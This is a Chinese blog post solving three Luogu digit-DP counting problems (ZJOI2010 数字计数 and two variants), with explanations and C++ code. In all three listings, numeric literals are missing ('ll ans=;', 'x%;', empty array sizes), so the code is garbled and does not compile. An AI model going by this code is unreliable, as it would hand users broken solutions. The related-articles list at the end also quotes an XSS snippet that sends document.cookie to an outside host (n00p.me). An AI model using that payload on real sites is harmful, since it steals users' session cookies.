P2602 [ZJOI2010]数字计数

题解

DFS 恶心的数位DP

对于这道题,我们可以一个数字一个数字的求

也就是分别统计区间 [ L , R ] 内部数字 i 出现的次数 (0<=i<=9)

也就是DFS只需要记录 :

当前填到第几位 pos

k一共出现多少次 sum

目标数字 k

是否顶上界 limit

是否全是前导零 qdl

dp[pos][sum]:

>不顶上界,没有前导零,

当前填到第pos位,目标数字一共出现sum次的时候(前pos位中一共有sum个目标数字)

对答案产生的贡献

>由于sum最多会取到和pos一样的个数,所以数组大小开的和pos一样就好了

这里 sum 记录的时候分两种情况:

(1)k!=0     直接看看 所填数字是否目标数字 就好了

(2)k=0      <1> 前面全是前导零,但是所填数字不是0

<2> 填到最后数字是0,也就是0000000,此时0要算出现一次

<3> 其余情况就不记录0出现的次数了

代码

#include<iostream>
#include<cstdio>
#include<string>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<cstdlib>
#include<queue> using namespace std; typedef long long ll; inline ll read()
{
ll ans=;
char last=' ',ch=getchar();
while(ch<''||ch>'') last=ch,ch=getchar();
while(ch>=''&&ch<='') ans=ans*+ch-'',ch=getchar();
if(last=='-') ans=-ans;
return ans;
} ll a,b;
ll c[],len;
ll dp[][]; ll dfs(ll pos,ll sum,ll k,bool limit,bool qdl)
{
if(pos<=) return sum;
if(!limit&&!qdl&&dp[pos][sum]!=-) return dp[pos][sum];
ll ans=;
ll up=limit?c[pos]:;
for(int i=;i<=up;i++)
ans+=dfs(pos-,sum+(k==?(!qdl&&i==)||(qdl&&i==&&pos==):(i==k)),k,limit&&(i==up),qdl&&(i==));
if(!limit&&!qdl) dp[pos][sum]=ans;
return ans;
} ll sum(ll x,ll k)
{
memset(c,,sizeof(c));len=;
memset(dp,-,sizeof(dp));
while(x)
{
c[++len]=x%;
x/=;
}
return dfs(len,,k,,);
} int main()
{
a=read();b=read();
for(int i=;i<=;i++)
printf("%lld ",sum(b,i)-sum(a-,i)); return ;
}

双倍经验(比第一个简单)

P1239 计数器

题解

也就是只需要一个 a 就够够的了

代码

#include<iostream>
#include<cstdio>
#include<string>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<cstdlib>
#include<queue> using namespace std; typedef long long ll; inline ll read()
{
ll ans=;
char last=' ',ch=getchar();
while(ch<''||ch>'') last=ch,ch=getchar();
while(ch>=''&&ch<='') ans=ans*+ch-'',ch=getchar();
if(last=='-') ans=-ans;
return ans;
} const ll mod=1e9+;
ll a,b,T,ans=;
ll c[],len;
ll dp[][]; ll dfs(ll pos,ll sum,ll k,bool limit,bool qdl)
{
if(pos<=) return sum;
if(!limit&&!qdl&&dp[pos][sum]!=-) return dp[pos][sum];
ll ans=;
ll up=limit?c[pos]:;
for(int i=;i<=up;i++)
ans+=dfs(pos-,sum+(k==?(!qdl&&i==)||(qdl&&i==&&pos==):(i==k)),k,limit&&(i==up),qdl&&(i==));
if(!limit&&!qdl) dp[pos][sum]=ans;
return ans;
} ll sum(ll x,ll k)
{
memset(c,,sizeof(c));len=;
memset(dp,-,sizeof(dp));
while(x)
{
c[++len]=x%;
x/=;
}
return dfs(len,,k,,);
} int main()
{
a=read();
for(int i=;i<=;i++)
printf("%lld\n",sum(a,i));
return ;
}

三倍经验

P4999 烦人的数学作业

题解

拿题一看:我要AC辣!!!

现实是 90pt

为哈!!!!!!

取模的锅,多取几次

我还是太天真

代码

#include<iostream>
#include<cstdio>
#include<string>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<cstdlib>
#include<queue> using namespace std; typedef long long ll; inline ll read()
{
ll ans=;
char last=' ',ch=getchar();
while(ch<''||ch>'') last=ch,ch=getchar();
while(ch>=''&&ch<='') ans=ans*+ch-'',ch=getchar();
if(last=='-') ans=-ans;
return ans;
} const ll mod=1e9+;
ll a,b,T,ans=;
ll c[],len;
ll dp[][]; ll dfs(ll pos,ll sum,ll k,bool limit,bool qdl)
{
if(pos<=) return sum;
if(!limit&&!qdl&&dp[pos][sum]!=-) return dp[pos][sum];
ll ans=;
ll up=limit?c[pos]:;
for(int i=;i<=up;i++)
ans+=dfs(pos-,sum+(k==?(!qdl&&i==)||(qdl&&i==&&pos==):(i==k)),k,limit&&(i==up),qdl&&(i==));
if(!limit&&!qdl) dp[pos][sum]=ans;
return ans;
} ll sum(ll x,ll k)
{
memset(c,,sizeof(c));len=;
memset(dp,-,sizeof(dp));
while(x)
{
c[++len]=x%;
x/=;
}
return dfs(len,,k,,);
} int main()
{
T=read();
while(T--)
{
ans=;
a=read();b=read();
for(int i=;i<=;i++)
{
ll tmp=((sum(b,i)-sum(a-1,i))%mod+mod)%mod; ans=((ans+i*tmp%mod+mod)%mod+mod)%mod;
} printf("%lld\n",ans%mod);
} return ;
}

P2602 [ZJOI2010]数字计数&P1239 计数器&P4999 烦人的数学作业的更多相关文章

  1. [洛谷P4999]烦人的数学作业

    题目大意:定义$f(x)$表示$x$每一个数位(十进制)的数之和,求$\sum\limits_{i=l}^rf(i)$,多组询问. 题解:数位$DP$,可以求出每个数字的出现个数,再乘上每个数字的大小 ...

  2. P2602 [ZJOI2010]数字计数(递推)

    P2602 [ZJOI2010]数字计数 思路: 首先考虑含有前导0的情况,可以发现在相同的\(i\)位数中,每个数的出现次数都是相等的.所以我们可以设\(f(i)\)为\(i\)位数每个数的出现次数 ...

  3. 数位dp详解&&LG P2602 [ZJOI2010]数字计数

    数位dp,适用于解决一类求x~y之间有多少个符合要求的数或者其他. 例题 题目描述 杭州交通管理局经常会扩充一些的士车牌照,新近出来一个好消息,以后上牌照,不再含有不吉利的数字了,这样一来,就可以消除 ...

  4. 洛谷P2602 [ZJOI2010]数字计数 题解 数位DP

    题目链接:https://www.luogu.com.cn/problem/P2602 题目大意: 计算区间 \([L,R]\) 范围内 \(0 \sim 9\) 各出现了多少次? 解题思路: 使用 ...

  5. luoguP4999 烦人的数学作业

    写在前面 这两天信息量有点大,需要好好消化一下,呼呼 \(f[i][j]\) 的转移式还是好理解的,但是对于其实际意义课上有点糊 求 \(ans_{1, x}\) 是感觉手动把数拆开看会好理解一点?? ...

  6. 洛谷P2602 [ZJOI2010]数字计数(数位dp)

    数字计数 题目传送门 解题思路 用\(dp[i][j][k]\)来表示长度为\(i\)且以\(j\)为开头的数里\(k\)出现的次数. 则转移方程式为:\(dp[i][j][k] += \sum_{t ...

  7. Luogu P2602 [ZJOI2010]数字计数

    这算是一道数位DP的入门题了吧虽然对于我来说还是有点烦 经典起手式不讲了吧,\(ans(a,b)\to ans(1,b)-ans(1,a-1)\) 我们首先预处理一个东西,用\(f_i\)表示有\(i ...

  8. P2602 [ZJOI2010]数字计数

    https://www.luogu.org/problemnew/show/P2602 数位dp #include <bits/stdc++.h> using namespace std; ...

  9. 洛谷 P2602 [ZJOI2010]数字计数

    洛谷 第一次找规律A了一道紫题,写篇博客纪念一下. 这题很明显是数位dp,但是身为蒟蒻我不会呀,于是就像分块打表水过去. 数据范围是\(10^{12}\),我就\(10^6\)一百万一百万的打表. 于 ...

随机推荐

  1. 0502 xss

    playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...

  2. VLC 可能的 XML parser error 解决

    由于 VLC 设置不当 (通常是动了 skin 选项……),再次加载时 VLC 不能正常启动,并报如下错误: [00007f7dd003b670] xml xml reader error: XML ...

  3. 洛谷 P2765 魔术球问题 (dinic求最大流,最小边覆盖)

    P2765 魔术球问题 题目描述 «问题描述: 假设有n根柱子,现要按下述规则在这n根柱子中依次放入编号为1,2,3,...的球. (1)每次只能在某根柱子的最上面放球. (2)在同一根柱子中,任何2 ...

  4. Educational Codeforces Round 37 (Rated for Div. 2)C. Swap Adjacent Elements (思维,前缀和)

    Educational Codeforces Round 37 (Rated for Div. 2)C. Swap Adjacent Elements time limit per test 1 se ...

  5. c语言第一次作业1

    第一次作业 一 你对软件工程或者计算机科学与技术专业的了解是什么? 软件工程是一门研究用工程化方法构建和维护有效的,实用的和高质量的软件的学科,涉及程序语言设计,数据库,软件开发工具,系统平台,设计模 ...

  6. C语言之volatile

    emOsprey  鱼鹰谈单片机 2月21日 预计阅读时间: 4 分钟 和 const 不同(关于 const 可以看 const 小节),当一个变量声明为 volatile,说明这个变量会被意想不到 ...

  7. CSS测试题Ⅱ

    1.如何使用 CSS3 强制换行? A. word-wrap: break-word; B. text-wrap: break-word; C. text-wrap: force; D. text-w ...

  8. yii框架学习(获取插入后的id)

    插入单条数据, 获取插入数据的id. $model->attributes['id']; new  model 添加数据的时候, 需要注意, 如果是想要循环添加多条数据的情况, new mode ...

  9. encodeURI()、encodeURIComponent()、escape()

    URI的通用格式如下: /*** 协议://用户名:密码@子域名.域名.顶级域名:端口号/目录/文件名.文件后缀?参数1=值1&参数2=值2+值3#标志 **/ /*** http://use ...

  10. 【Android】查看内存

      [文章来源]http://blog.csdn.net/hudashi/article/details/7050897 查看内存使用的方式有很多种,但是各个方式查看到的结果可能会有微略不同. 方式一 ...